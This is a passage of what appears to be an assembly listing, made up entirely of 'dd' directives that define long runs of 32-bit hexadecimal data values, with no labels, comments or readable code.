0E9950ECAh, 0BAEFE84h dd 22D3595Fh, 6314C501h, 502E49A6h, 592F08E0h, 0BB0D3553h dd 0BD3A3780h, 12335193h, 0DD6368B3h, 106059BAh, 0B5C0566Fh dd 6244ECEh, 0C37B015h, 3DCA501Ch, 5F8272FCh, 59495AFCh dd 18294738h, 3D4B3C92h, 2D25DE06h, 68048BD3h, 0DF33EECh dd 0F1620B7Eh, 1A8DE927h, 0D5B26E6Ah, 580EC2B4h, 0D2BF1A66h dd 5CF50044h, 0E937670Bh, 9FC05258h, 41491402h, 3FAAA05Dh dd 2DAF2D1Ah, 0B7F1FE01h, 0E9AA41F3h, 0FFA72B36h, 24805327h dd 29D85C7Bh, 5B78DFFAh, 272CA3FCh, 0B30058D6h, 0E9425402h dd 0A48D4820h, 3D5BC981h, 74ACED1Bh, 0D028F7A3h, 540FAF96h dd 0C475C302h, 580EFCA8h, 7F4598C6h, 7028E04Bh, 3E55EE9h dd 6F18033h, 0DA25C199h, 0E8F5D342h, 0B702AB3Fh, 53146C67h dd 9B322F6h, 0C72987F1h, 0D4B76E05h, 3A09BBDEh, 3C40D7C1h dd 83FF835Ah, 5F42842Fh, 588CC254h, 0F4DEBDF1h, 82D8CD50h dd 692A51D7h, 0E9CB387Fh, 91BB6EEFh, 11B68A1h, 41F6290Ah dd 5ADE4208h, 0A7BE5600h, 7B120916h, 0C589F331h, 0D6270376h dd 1768E28Fh, 0BE06A5ECh, 1DDC30E9h, 0A79A4DD0h, 0D9123D05h dd 0C7B50E57h, 72E4FA4Fh, 4D29AB68h, 0B26C866Bh, 1273222h dd 0DF2B90C2h, 0C7B8503Ah, 3E1BEDA1h, 0FC185EA8h, 0A7BA2838h dd 1D922F07h, 0BBC24A42h, 9191AA76h, 53026B0Bh, 0BB0CB795h dd 0B86330D5h, 5B36CBAFh, 8469F359h, 0A44B1A25h, 0F5886DA2h dd 526401F4h, 2B8F9BAh, 321B310Dh, 0A88F5750h, 9A602000h dd 505401Eh, 733ABCC5h, 0CB3418D7h, 20ECB7B1h, 0E947129Ch dd 0BFAEC448h, 0CAB195E8h, 0FFAD2B20h, 0B2924E78h, 705A0605h dd 0BC64A95h, 4291405Eh, 1A0E4400h, 93B82EEBh, 49E4748h dd 94D68E7Bh, 0BBFC85EAh, 0C88B4FE5h, 4D4DEBFh, 675F9960h dd 0C301285Eh, 0C7347ABEh, 0E279C173h, 0EA571310h, 6BF6751Eh dd 38E91354h, 4B5AD063h, 42E7440Ah, 22F455FFh, 60BA5127h dd 0CC685156h, 71056619h, 7DC20986h, 48E2FB76h, 5994FD40h dd 6B5A5F48h, 6E450477h, 8507ECAAh, 69F8427Eh, 555B2D3h dd 2C7068D1h, 0FD110ACh, 203CA04h, 917E95Ah, 0DA5111E9h dd 2EF32022h, 5F00899Fh, 26586FE1h, 39BB4F1Ch, 0EEE4466Ah dd 0D98C115Ah, 293B185h, 7032F0CDh, 4DA4C057h, 0CE5C7E60h dd 2CC5BA0Ch, 12E6AE7Dh, 5C74E9C2h, 0C726E5F3h, 74F07422h dd 6ACF334Ah, 0CAD15A2Dh, 0B41DAD70h, 83686358h, 5A0F3CE0h dd 0CEF3909Fh, 278CDCF4h, 379422D5h, 447D09E1h, 5FFA25C0h dd 5438D4E0h, 22E93B0Bh dd 7039FE57h, 9C9D322Eh, 7F8486Bh, 8C455317h, 4B38E906h dd 0DAEA4B74h, 0D9D84F99h, 238C2768h, 40A1B36Ch, 7AE61025h dd 7C1E3D4Dh, 0B7CA27BEh, 0E8688263h, 249A93Ah, 0FF807360h dd 60F6ADCEh, 0D08835C3h, 7DC39A53h, 1DFD3689h, 885C014Ah dd 628DE9EBh, 0A2C20310h, 0B01C6B43h, 27297AE2h, 80DD5759h dd 3F88F2ECh, 1C2BEDE4h, 58F349DDh, 0D4277CDCh, 7E9E163h dd 2BCE2F01h, 5B93BB00h, 2E96776h, 4BE2864Fh, 605F7E85h dd 870EE4DBh, 57560F1Fh, 73278EC2h, 8CD0DE06h, 5B2E6E25h dd 15A2B801h, 0D0012FCEh, 0B9FD4F21h, 172E7125h, 5D98AAADh dd 0BC1B444h, 0E716E230h, 0F6CAFE0Eh, 0D7DA49D2h, 49F4D407h dd 0D5355285h, 8E49E4AFh, 0AFAB7192h, 0F54D5829h, 0F90898A4h dd 1E2D0148h, 0E8097D35h, 59B75301h, 9098E408h, 19C6806Ah dd 7502FF9Dh, 98A42465h, 0BDB1BEC3h, 609571F2h, 4A29C1B9h dd 0E1030974h, 8FE95506h, 0A3F76CDh, 6A177A68h, 4A4E1CBDh dd 1C984163h, 4CA0E01Ch, 0D11654EAh, 0ACF388E5h, 0EF98EF96h dd 852E68C1h, 0AA3503BFh, 7A78220Ah, 0A5A8574Bh, 44F563E7h dd 0E93E9888h, 0E0C7BA4Ah, 0A70F7441h, 36F287F4h, 0D608D6F7h dd 0E70A750Ch, 7FAD9E33h, 0BA1E4A74h, 5F08CE10h, 29C475E2h dd 895198D0h, 0FF304225h, 0D52721C7h, 1D168760h, 0DB8B8C0h dd 9F5DED08h, 0E80F2551h, 47D36105h, 43D83F76h, 0A6972DFAh dd 0E0342C40h, 94EF8980h, 5E7752E5h, 61BE580Bh, 203E1816h dd 31561601h, 0C80075Fh, 76BF2ABDh, 0ECB0FE29h, 0C400883h dd 0F67CE914h, 0D33574C2h, 0F58C42C9h, 260659E3h, 6C872BD5h dd 0BC47E4Eh, 94E97B2Fh, 3F440CE9h, 0C893D2ECh, 45411D47h dd 624E3F41h, 8CF9DFC2h, 5CA4FC16h, 49EA0BCFh, 2D804FA7h dd 1048221Ah, 0FA97E2B0h, 0BCE91837h, 0ABC22FB2h, 18C0313h dd 564A3500h, 5AE9100Bh, 8B08C48Ah, 93697728h, 0BECDD189h dd 0B9AB4D13h, 74B76F5h, 5A2719E7h, 0BF4BD9F0h, 7BB89D60h dd 47C2000Ch, 5201E883h, 27766FBAh, 20BF2D48h, 25C09048h dd 0D07B662Fh, 0C30254A7h, 844BBE22h, 25A367F8h, 0CD9693D6h dd 0F066B102h, 0BA52DD3Dh, 773E2B95h, 440F992h, 3A7B726Bh dd 0F16014Fh, 0E2008B16h, 7BE83B48h, 4F7627BDh, 640906D4h dd 0BC01F933h, 0F091EA5h, 8814E77Dh, 2C038660h, 0EFF8289Eh dd 60D66B4Fh, 18F06879h, 0A8110F55h, 0C16BEEAh, 0D4181228h dd 2C659186h, 8CC69034h, 0EB28D389h, 0E4513809h, 4D2A8070h dd 9F4E692Ah, 8202856h, 0D4598F98h, 57BE00E8h, 929226Dh dd 0C9FB9F2h, 268738F0h, 4742F31Eh, 7B55EE8Bh, 0BE560020h dd 0F4C2C2Ah, 0CE7DE912h, 134BE6BEh, 0F8245EF7h, 0C28BF9BEh dd 66593768h, 6BE91399h, 0BF86940Eh, 929A59C8h, 656BD5Ah dd 507276D2h, 60606CE9h, 4A64BD38h, 17524A94h, 2C81B0B3h dd 0F831455Fh, 34344CE6h, 0DF661495h, 0CB20D27Eh, 0C6EB8325h dd 4EEAFA33h, 0BDF7D0DAh, 44386E4Ch, 0E4C2D043h, 0EFA7FC16h dd 6034C8FAh, 0A941D14Ah, 26820C74h, 9C9D920h, 4F6A9639h dd 31146BF0h, 7D8041CCh, 6BF3F06h, 8036F729h, 79E95E08h dd 253B7B0h, 0B3536601h, 1B30285Ah, 0ED5BF002h, 0C7FBAB45h dd 0B88AD5C0h, 0C5FE804Dh, 955749E9h, 5F8B1A7Dh, 30578032h dd 59685389h, 0E90D0E7Bh, 0C23CBCFAh, 0B643865Fh, 61C84870h dd 0E21829h, 0E165599Fh, 0BFFB89h, 1278DD31h, 13E7FE4Bh dd 22CA6h, 5F0CF740h, 8AA00D7Ch, 7E0B3D3Fh, 0C8E7D116h dd 3A6DEF31h, 31B42D84h, 2F54FC4Ch, 27187216h, 0E8E19B1h dd 0BBA9D40Fh, 73BE1A20h, 634A8910h, 1D695BE0h, 870CE87Dh dd 0F12E17E6h, 0F293E962h, 8EECF9FFh, 0AF1256CFh, 4EE94698h dd 53E087BFh, 0A3119CAh, 0D3F79009h, 6697002Ah, 31D8849Ch dd 4934DE5Fh, 88DB0ABFh, 0BF32B4DDh, 27CAD607h, 0FFF4064h dd 1BA49250h, 1AE94E01h, 69067AC9h, 0F9DD778Fh, 17849BB6h dd 494B3225h, 0EC6BC551h, 5E9C484Eh, 0BFC4BCB6h, 0F3EC176Bh dd 891AC31Eh, 4354BE70h, 701A1E8h, 17A1B06h, 8048465h dd 99BCB884h, 0DAC3E9B0h, 4A2D7AB9h, 0D4504234h, 1A5CA740h dd 279FFF0Ch, 377F0BEAh, 0DB2966EBh, 9A43E04h, 56A3DE5Eh dd 0EE2FC720h, 0B3459FEEh, 1A05E98Dh, 2FC17230h, 80558958h dd 3EA20A93h, 0AA014AA9h, 7F84FB56h, 7B4AF2FEh, 0FC0A7B25h dd 0F189C209h, 79D496F5h, 4F4D90EFh, 8F8505Ch, 8139BA4Ah dd 8A5CF66Ah, 0CA196C9Fh, 3F30EA9Eh, 0C050430h, 1CD3F760h dd 84A69100h, 4A5BDA29h, 8559BD5Dh, 9B20520Eh, 2C07D73h dd 0D92ABB5Fh, 0BFFD475h, 6C4A052Eh, 0D63CBBE9h, 5B29FACFh dd 12E4562h, 92D62F70h, 28680203h, 0E2BB854Ch, 0E957C188h dd 46DD948h, 5A199E11h, 456CE98h, 3B5F9A68h, 278C157h dd 5DBF00BAh, 90E49872h, 0E6CCB00Ch, 7A76148Eh, 0D904AE61h dd 0E1F61E28h, 5106842Eh, 0DFB133E9h, 9BB4230h, 52DA1556h dd 47FCF89h, 42A2878Bh, 1380AD97h, 72BF6337h, 0BC4410AAh dd 0A017C820h, 0E450B49Ah, 0ECC01F2Fh, 0A3138B08h, 8B4892F5h dd 75C15504h, 4FD278F8h, 28A9BFFCh, 134D00D6h, 0DBE93D1Fh dd 0FA3BE13Bh, 735C5D3Dh, 6AA141F6h, 74108EE6h, 805B005Fh dd 885377C2h, 0F3FCE4D7h, 0D5B062FEh, 3F35D618h, 0BE98D395h dd 0A6AE193Eh, 1677A521h, 5BB9099Eh, 0E70030EDh, 29EC4BE5h dd 210DE2ECh, 18480A09h, 124272FCh, 0EB7FE934h, 7D5C9449h dd 0EB01F9Ch, 77A70997h, 93FF2509h, 0A50E4065h, 0FA991331h dd 3F87AB8Eh, 32530D01h, 7057935h, 2CFB9C12h, 0D197570Ah dd 0C4E9653Dh, 2BDCC999h, 0E50F6795h, 0DF8CC452h, 3F9EBAACh dd 8D1ECA5h, 42A9D992h, 0A967E9A0h, 10D6BABDh, 176850FAh dd 5F373F7h, 0FA7136ADh, 3F50BBF7h, 0D9FC9D3Ch, 5865456Fh dd 873DE061h, 1672D207h, 0CA75E0EAh, 0A3818DE0h, 0DE36E742h dd 1CFDEB19h, 702D01ACh, 0E978772Fh, 7455A59Dh, 9FEED062h dd 0A73281C8h, 59ED7490h, 0B6B96EE1h, 8851C2C5h, 66599B67h dd 5F594843h, 0E44A03ADh, 0EC30E909h, 555D2088h, 60A0F050h dd 0F8BE749h, 20B71048h, 0D4977AB2h, 9956BFCEh, 0ED1756ACh dd 993B84E2h, 0F1F72041h, 965A370Bh, 0A7FED43Fh, 0E99F83D5h dd 0C8DF47D3h, 0D8D21559h, 0D52D687Dh, 552A181Bh, 1A4127E9h dd 0DC9503C8h, 41CC1927h, 61FD4311h, 0BB4AD17Dh, 45FA37C5h dd 0FF1183AFh, 929DBD31h, 0EBF5D76Ch, 6C12E0B2h, 1C0DFDBDh dd 0B44360Ch, 0A8E4E8D1h, 3034E205h, 0F0F0846h, 0D58E14Fh dd 0E5372578h, 57964Fh, 2453FB2Fh, 0BC5BE91Fh, 0A1B335AEh dd 29FC3FECh, 10AB3DADh, 680E1C44h, 0BF132CEAh, 0FCA419F2h dd 62ABB700h, 566387D2h, 54F7C83h, 668FBE10h, 0F60AC08Ch dd 365C30F3h, 0CF12E2Bh, 349D6813h, 0D664CFECh, 7B21BE3Ah dd 0FB05BB4Ah, 8CB41983h, 628730E8h, 0BE01956Fh, 0A00C4CDh dd 6958E959h, 1DF52E40h, 6BD9A57Bh, 516A362h, 26D74740h dd 29B4326Bh, 0FE8933C0h, 45BD659Ah, 0CC0925A6h, 0C13C517Fh dd 6ECD17E9h, 0C96C9331h, 0B3530E80h, 15EB808Ch, 0C98606CFh dd 0D4F74220h, 0E2F425D0h, 4682FF49h, 545F7EB3h, 3A9AA467h dd 43401E2Eh, 3AE828CBh, 57EE2C1h, 0FF36985Eh, 101A6988h dd 0D20BF977h, 6FD585Fh, 153AB2CDh, 25C1213h, 0DEE11204h dd 0D9A18AFCh, 0D8E90003h dd 0EA59C002h, 11401B12h, 9A05F2ECh, 313DCDEBh, 10497BFh dd 826FC509h, 7E03CB0Ch, 0B440772Eh, 0B8804DADh, 0E61606EAh dd 0BEEBF72h, 81CD3150h, 1026C505h, 94FA4578h, 0AB081361h dd 0AA2AFF2Dh, 25E97B3Ch, 4CDDEAC6h, 97DAE00Dh, 3E4C96C9h dd 4835C300h, 0BA830482h, 4E6871D7h, 0A07F244Fh, 0A528E90Dh dd 0CC301EF7h, 7FB00DC4h, 2DC51C80h, 0EDBAFA28h, 0C6A5A2DEh dd 1E62F5h, 59EB20CEh, 6DE9C3FEh, 0B248B964h, 0C2829681h dd 5B1C8304h, 0FB1BD58Fh, 32E931B4h, 0B8778DD4h, 0F842787Ch dd 8039BA97h, 84760C61h, 7B0CC153h, 30B05271h, 6D021313h dd 69E9371Bh, 7A114C57h, 67A5E151h, 74EDF80h, 0CB01816Bh dd 1B9046FAh, 133B8DE9h, 0EC628D2Dh, 0B8AAD663h, 672D2260h dd 2BDB491Fh, 9C5D752h, 30BAD9AFh, 4B6B4A67h, 10F5EC7h dd 944186BEh, 217EAF07h, 5BDE01AAh, 0F775A02Eh, 90D648h dd 0FB36B518h, 0B1ED11E9h, 1E5E0889h, 0D03A412Dh, 0DAF60C84h dd 0B0A385C0h, 202F6E92h, 0C0B656C2h, 51F0E280h, 57D7B127h dd 0C41E490Fh, 0B828B6F1h, 0CE253BABh, 6A763732h, 0E4D07EE8h dd 2DA1EC3Ch, 0CC575E51h, 0CFA4FE94h, 1A94CD02h, 40451FDDh dd 300ECB73h, 361A1DBBh, 27480210h, 2D290304h, 0E6313C68h dd 569B4074h, 0B0585CBEh, 296D127Eh, 14BE0143h, 7E332540h dd 0D756CA09h, 0C1CEBAD9h, 0B9057CCEh, 7A62E03Eh, 0EDBFC518h dd 257547D6h, 7A781E6Fh, 2B08EA51h, 6EB82CAAh, 0BBBB240h dd 77CD10D4h, 9BF330A0h, 4348217Eh, 0C2371030h, 38D06627h dd 0A80B5963h, 0F929D134h, 6DC11091h, 5969240Ah, 0B8223E17h dd 51994F5h, 1E445232h, 0EBB7D1EAh, 28217007h, 56E4485Eh dd 4ACB03C7h, 5D571BA4h, 6E5C1C8h, 17E64548h, 0B602967h dd 2D370E05h, 79C2616Dh, 68570703h, 31EDDCE7h, 0AA89875Ah dd 9BA1DE20h, 0BFE9C1C8h, 0BA228184h, 73AB218Eh, 932854E9h dd 3264EE4Ah, 2801DF8Eh, 6F6866C3h, 84B26A56h, 61050B18h dd 31801110h, 4A1AF8C5h, 0DC31EE25h, 922F8A05h, 0BE743376h dd 5A6F2260h, 0FC505B2Bh, 0BBDE25BEh, 0EEA1DB6Bh, 0FD054E16h dd 68C35015h, 0FEC8723Ah, 2B8D6B55h, 0B7F845C9h, 66EC950Eh dd 1462F0F4h, 5CC8453h, 0AFE3EB01h, 6DBC8532h, 681BF65Ah dd 0FA352F53h, 509E7F5Ah, 3854609Dh, 45B60676h, 0C95007E9h dd 10BBED4Fh, 4D24C334h, 1075C2E3h, 23C6FF09h, 46EFEBDh dd 941285E9h, 28D8FB23h, 0E3204AC7h, 5CAC17F8h, 88C0C6FCh dd 82A6E9D4h, 0F52786BAh, 4BAC5B5Eh, 5C6D6C5Fh, 5E2A1FEAh dd 5BDA30E8h, 47672E96h, 0B4F57BE3h, 425551C1h, 160B8601h dd 41578B5h, 0C44D30BDh, 4605EE06h, 0AB81FE58h, 0B7D09BC3h dd 42684A91h, 2A96E999h, 566386A0h, 97F41CABh, 414DC6Bh dd 83BB706Ah, 0D3828C7Ch, 751E9D22h, 0AC25CB46h, 0D07C532h dd 2ACDEF88h, 0C01848F4h, 0D2F75DEFh, 0D2954A42h, 32C24CB7h dd 12602D13h, 7240BAA6h, 5B0B33FBh, 68551D52h, 6BA3CBD1h dd 0C00ED058h, 0C02B146Dh, 3B63DFF5h, 8164B139h, 0C977E4BAh dd 0FC092A0Ch, 47BC8005h, 4B65E91Eh, 7D27FAAEh, 8A2CC4Ah dd 3FB358BFh, 0B455692Bh, 5BF15DF9h, 44561888h, 27D6E941h dd 2052413Bh, 7F703E3Dh, 9E04D1B2h, 0C51EAC73h, 996906B8h dd 85381864h, 291114C0h, 4A924BDAh, 0FAFF084h, 6776ACBBh dd 830393BEh, 44074E18h, 36AF750Ch, 5513E3C2h, 57022DC4h dd 0B1319BBFh, 0F481753Bh, 0C6731516h, 56CE8E7Dh, 0C102EFE9h dd 0CCBE5A1h, 29E2B07Eh, 4D7AC1CFh, 5B51D38Fh, 23004B09h dd 499B3488h, 0CC042F90h, 554A1015h, 338BAAh, 4B62424Ch dd 2CB116BDh, 18D17829h, 0CE88240Ch, 0C17B70E5h, 0E8C01841h dd 0D9595A66h, 0EA24540Bh, 0E8E731BCh, 0FB4BD316h, 0F7FAC25Ch dd 5709924Eh, 75C0E1E9h, 64B4CB79h, 0E992DCEFh, 4D671737h dd 0F7390D67h, 789F44E4h, 14F95B67h, 7C0A43FEh, 9957B4Bh dd 98F5E334h, 0A85A8179h, 25685944h, 0B0DC11E1h, 6853D772h dd 0C1CC5649h, 8976F768h, 0B01753ABh, 0BDEE9D65h, 591C2466h dd 40A5CD09h, 641A6883h, 0A47C3B5Ch, 0D5BF6EBh, 31419BA5h dd 0B62F1640h, 0AB4C685Ah, 9D5FC03Eh, 5D28B25Fh, 0A4870409h dd 76A51965h, 625AC2F8h, 561B60F5h, 43CD35Eh, 0FA3BE5CAh dd 58145E31h, 0D2D1F19Fh, 0F7E2BAB0h, 760B3D0Fh, 127D4F64h dd 0AA803849h, 52921248h, 0C9FCB6FAh, 0BA800056h, 9F2CC13Fh dd 4DD6750Bh, 9D3DC600h, 6960E972h, 9282528Ch, 987FABA1h dd 0B7AD7770h, 4CF65D4Eh, 880EB7B4h, 0A79E4F5h, 0E896DAE8h dd 57776ACh, 0EDB21D62h, 13560F91h, 158EB802h, 86DEF258h dd 95454B12h, 6BF9BE60h, 0C499E30h, 404275CDh, 1C32DE1Dh dd 7782422Fh, 772F567Ch, 7F124FB9h, 0F8309604h, 9711B2A9h dd 0DF4427E5h, 5E83EE92h, 310E0FEAh, 0C5C480E7h, 8EEFD4F6h dd 38A911DCh, 0E5FDA05Ah, 592CEEE4h, 0F8127A52h, 7D913EAh dd 0E5515A7Fh, 0A729ECF1h, 801CCAF6h, 0BD2CA8FAh, 4A40B5A2h dd 4CE81EFFh, 20041CF5h, 0E17FE958h, 0F4137886h, 943A97BAh dd 0E14F0FCDh, 732C7BF7h, 62A9012Ah, 2E59D342h, 5D1B9A87h dd 4EF49CC4h, 920975BAh, 0F5B9C1BCh, 20C58F7Ah, 0B44556ABh dd 0E3320C57h, 37FA7D66h, 0F51B4A6Bh, 68170DCEh, 1D612864h dd 0B90C6A17h, 577F1200h, 6EE94965h, 8C6E96A5h, 90D96DFh dd 685EF704h, 0B310B4h, 9B409C0Bh, 93EBE282h, 82D4B103h dd 6374E1CBh, 5EA50304h, 45C34137h, 4820E5B8h, 413D992Fh dd 0B63BFA6Fh, 704A79FAh, 0E6889005h, 0A2F5DB0Eh, 555A59EBh dd 30CC3A54h, 0A6B27D68h, 0B7FEBDF6h, 0CA6062FAh, 865D6064h dd 43490F23h, 1DA4F921h, 0B40A453h, 0EF52F682h, 0DB8B5CA6h dd 2C51E507h, 5AB20AEEh, 8EF17F27h, 6234F1CBh, 10290A68h dd 2F5AF7A0h, 67C03D22h, 0C698F45Fh, 3309C701h, 13E91160h dd 0C374D16Bh, 0EFFB6058h, 50F24A48h, 79B7E80Eh, 0BDFA5FCh dd 0F673A198h, 5DF67A6Eh, 0C81B1EEh, 4B6F285Bh, 68D402FEh dd 67D646DCh, 48EF75C1h, 0C5549C20h, 0F901586Ch, 17124845h dd 92ED0683h, 6F33B5D3h, 7A48A9CFh, 0C9D29D26h, 3F5E1791h dd 984E449Eh, 7D4AE960h, 0B9FAC993h, 333E8032h, 0F0D15139h dd 0DD656B25h, 5E191087h, 0FB6865ABh, 603EEFE1h, 3E26E94Bh dd 208DC69Dh, 812DE66Fh, 0A063F2EDh, 0C507F093h, 37B1275Dh dd 0D70583CAh, 0C5D1024h, 0F3A728ACh, 0F98F4773h, 84C52751h dd 106057E1h, 98344940h, 9F95C83Eh, 0A77832Dh, 194F7905h dd 5C84168Fh, 22F6E5C7h, 0A0A8B9E5h, 8A0E4083h, 0EC4C00FCh dd 4E89F7DAh, 2FA5E3E9h, 22CE4429h, 0F107E15Ch, 0A9F8BD1Eh dd 24406B3h, 1A15BA16h, 12C16C0Eh, 0C4646CA0h, 0D3E84383h dd 2C2E68C2h, 0B0B3C7D7h, 31DE687Eh, 0EE02659Bh, 777F0D5Bh dd 27D3D780h, 0F5A165D6h, 0D3123BC0h, 8A4A7E8Ah, 0B868092Fh dd 0CAC6F601h, 7A453BA9h, 0AC5AB42Bh, 68D1B246h, 5C3ABD09h dd 2B7A07E6h, 883F616h, 0DF252389h, 67FD81BAh, 9560CFFh dd 640B2D30h, 5778924Ch, 37011D8Fh, 901AB57Bh, 0F058D164h dd 0A6CC304h, 270BC28h, 866E65CAh, 2C49F538h, 0C9713182h dd 2D382E29h, 77D6B75Ch, 0D7F6E05Bh, 6DD99030h, 460D0632h dd 894AA372h, 0C7C445BDh, 0C5EDA958h, 16BF6AE9h, 0B182A801h dd 5FFA690Bh, 0A5EF5FDCh dd 4BFA4C20h, 0E6046663h, 29CF9213h, 75F70BFFh, 2A58C661h dd 6801A9BCh, 78185B51h, 8F2EB5Ah, 20EA8BA7h, 0D1079F0Bh dd 30AB31F7h, 637E03DBh, 1525EE00h, 0E946556Bh, 64746F9Dh dd 6F3F2741h, 3C44E81Bh, 0BBB8249Fh, 135AFDEEh, 69BB02C5h dd 31AF2B7Ch, 86BE1h, 9055D5Ah, 0BBB79DFh, 0B951E100h dd 9F2443A2h, 7D01B202h, 2909243Ah, 5D71D5FAh, 0E94B384Bh dd 13FABCFDh, 0DF45BC41h, 693FD70Bh, 2828CD5Ch, 6285B800h dd 0B9252335h, 1E90271Fh, 124172CEh, 166BCBFAh, 8AF39232h dd 2144BD00h, 78DD0503h, 2D53F11Ch, 29FD84BBh, 0C1FAE8C1h dd 2697BFF3h, 0D2C1B82h, 5D42D62h, 80D0E3A9h, 0F031C205h dd 0E600816Ah, 0E9187E35h, 0E8604FA9h, 0AAF7C60Fh, 5DB03C10h dd 712C0C00h, 3402E8C0h, 4E243272h, 752D3F88h, 0C05B5AA1h dd 0F9E330EFh, 2561040h, 0C8214068h, 88FD5E19h, 49425360h dd 0B458FBB5h, 4C10042Eh, 0C601010Dh, 0C87FBD55h, 0B9731F2h dd 7AA005A8h, 1ED66698h, 149986Fh, 0A9ECE9D3h, 79AF2FFFh dd 0CE617A42h, 0AF2B7B4Dh, 57642B44h, 96308EF3h, 0F08659DDh dd 8D6F635h, 0B09660F2h, 2D4EE998h, 42BF3500h, 0F4083E7Fh dd 2A029E7Eh, 19E0A530h, 223650h, 4A646858h, 0CA11304Bh dd 0F7E42826h, 0E3C1D312h, 56733E05h, 0E9FB6CAEh, 0B6C96D2Ah dd 72EAEB03h, 1C012627h, 273DFEA2h, 0D24C13FDh, 57B8C938h dd 0B6D45D9h, 0A093FB3Eh, 2ADB3014h, 0EFEC2223h, 204D4409h dd 8103DA47h, 0AD7B5908h, 17E9C512h, 0AC3EAAA1h, 87CF9FD4h dd 0A0E21261h, 0A9673D16h, 7BAF8930h, 501C9708h, 6308540h dd 950A44DEh, 0AEE8F05Fh, 3EBF5700h, 0E92D4E77h, 6E92115Bh dd 0F66A55C7h, 765D79C2h, 50255CCBh, 0B5D3057h, 345D82E0h dd 0FEDC845Ah, 90FC4802h, 27B3DB16h, 0AC68F027h, 0D226F757h dd 5C0F9D4Ah, 0C096C6Ah, 0D9663C0Eh, 0B7E2E59h, 0A5F5BCBAh dd 0E99CB67Eh, 0F763A67Bh, 0EA9690C9h, 0C9778205h, 9575D388h dd 8799E07Eh, 0FB0F3F60h, 1FA46850h, 52376552h, 0B0824CBh dd 415DEFE5h, 0FC7B59DCh, 0B1F09B93h, 9CB4D787h, 6284AA08h dd 9E1B60AAh, 4D5B1672h, 0E2016585h, 0C42129Dh, 4E6B06Ah dd 0A6A86F4Ah, 8121C3F1h, 1DB3536Ah, 0C0FDEB80h, 0A2EEF345h dd 58C3139Ch, 0C67E901h, 0EE0059C4h, 7A76DC16h, 7778C97Dh dd 0D9877203h, 9FFC383h, 2621E90Ah, 0EA8FB0FFh, 0FFDB9574h dd 51E8153Dh, 0C83016F4h, 0FB4B78B7h, 447AD639h, 1421B6F7h dd 9C387773h, 2AAA4E0Ch, 4AFE5C1Dh, 51F45EEEh, 491E4CC2h dd 0CC800EA2h, 0F1F460FCh, 0FC58E128h, 56748BDh, 23914BD7h dd 27CA88A8h, 0CB805A96h, 68143AF7h, 308D4D5Ah, 0E1BE301Bh dd 35F3246Ch, 3324190Ah, 545CDDE0h, 1840EF86h, 295A5BDDh dd 98595BCDh, 5E419A5Bh, 5C65E530h, 0FB97FE91h, 7F5BD3C3h dd 4F3D3031h, 41A0EA1Fh, 0D405A625h, 47034382h, 0E5E31E49h dd 308CA700h, 27E92189h, 0DF6545A2h, 7A88A9A5h, 95577FDBh dd 5212235Bh, 7BA096D4h, 0DE0E4148h, 75F28640h, 0BD40CABEh dd 0A7C3FB2h, 0B6F5810Fh, 0CFEE1D06h, 1AE0B13h, 0A8DAE9C3h dd 7C5D3624h, 1979802Dh, 904CAF1Eh, 52A05AE1h, 1F87AE9Ah dd 8CFFA3B4h, 0CA9D3130h, 538FDF10h, 44111F32h, 0B8E4CF74h dd 0F789167Bh, 5CD75422h, 3ED52D9Dh, 7E649D4Ch, 0EBF8C604h dd 0ACAF292Dh, 6257A210h, 6F0F5A6h, 0A702DF9Dh, 43625A5Fh dd 2BD51AABh, 24E35D99h, 47080C04h, 0FDBF7B57h, 1F53176Dh dd 5192B297h, 0E58D6A0h, 774B435Dh, 0C29C20F7h, 0BE7F8D8Ah dd 70032885h, 68F49F4Fh, 0C06E8AE3h, 9DD8F70Dh, 7A0C9DCCh dd 5242D027h, 2B0C25E9h, 0C10C9172h, 684E8075h, 30F9EB39h dd 0A7F5847Ah, 14BD5216h, 0D2C812D6h, 0F02938F6h, 36BD0EBCh dd 0F1CAEB12h, 75B2EF00h, 68E90254h, 0D32DF296h, 0EED262CBh dd 251B14F5h, 467733AFh, 22517BC2h, 0F695626Bh, 0FBCD89BDh dd 530B357Ah, 0FD48C057h, 78147449h, 6B882413h, 0A74C440Ch dd 5D5697C7h, 7F2FEC20h, 2DB1C549h, 0AB56BBA4h, 2C4CD6E3h dd 0BBB9D113h, 0BB408CCBh, 0E32510F4h, 171D0108h, 0F1291CEEh dd 0B0AB5A44h, 9EBC31A6h, 2ACCC5AEh, 0FE71208h, 5ECD095Fh dd 27215B57h, 67894EFBh, 203A4602h, 293F04CFh, 54669AF5h dd 9CF6C10Fh, 573EA328h, 0DCC86D93h, 0C0B69B6Ch, 8414C381h dd 46213266h, 9E4BC6Eh, 532E0FE9h, 94F5AF9Dh, 0E7E927A0h dd 7EB614F8h, 4B3EE9D8h, 0BCE4D0AFh, 0A5BC319h, 0A339C2C0h dd 0BFBD4D02h, 395ECE67h, 0BBE92E81h, 8C266A9Fh, 77086346h dd 1A5B01E0h, 6852B160h, 0E31D4F7Bh, 0A2BB277Ch, 0CCA2A5B9h dd 0B50C402Bh, 2A684840h, 121D508Ah, 0E8B275B4h, 76E32580h dd 6DFCE92Fh, 58D5E9E7h, 68D953D0h, 0F9495DB5h, 0FB2C2284h dd 0E181D570h, 7D16130Fh, 7592C043h, 517D721Dh, 0AADFF2A2h dd 2939609Ah, 599EFFCAh, 4868DD4Bh, 279E9231h, 0F278EAF9h dd 5E96F120h, 9217EFBFh, 0AA17C5h, 0E95057E3h, 0F9BFCE61h dd 0E168ADA2h, 2EFD6A68h, 95E99460h, 212EC356h, 40105EF7h dd 0E85A7A3Bh, 1DFA5F2Ah, 8BFD6F89h, 0E71E7593h, 463AAA2Dh dd 0F2304F7Bh, 4AF8D1F9h, 8C6C4629h, 7AE5B38Dh, 44EE2CC8h dd 2FFCC6D6h, 92117F3Dh, 0CDDCCB88h, 67FDA887h, 0FE8982F4h dd 5D6712F7h, 0E9623ED4h, 2D0FDC0Bh, 8E202DE4h, 0F660B557h dd 707563B5h, 7C2A01BDh, 0FF20C704h, 4BD304F7h, 0EE340AE9h dd 41F69D2Ch, 13CE609Dh, 53A2926h, 1628BF0Dh, 0F8D2C662h dd 2FA786BDh, 6BB4EC93h, 0FFD40C15h, 0A1EB996Bh, 261951A8h dd 68333C73h, 2C3D1C9Ah, 707B4060h, 1A983578h, 62EA972Eh dd 1A7AFE40h, 0BD1FF696h, 26878D90h, 74A092Ch, 0C5B13300h dd 4EE4E942h, 6ACEB413h, 0A53DC6BEh, 2CF1E058h, 2DA2A467h dd 847A1804h, 37297EA0h, 8710DD1Eh, 1308FE2Dh, 0F689E040h dd 6866D604h, 57882A71h, 20B81FB7h, 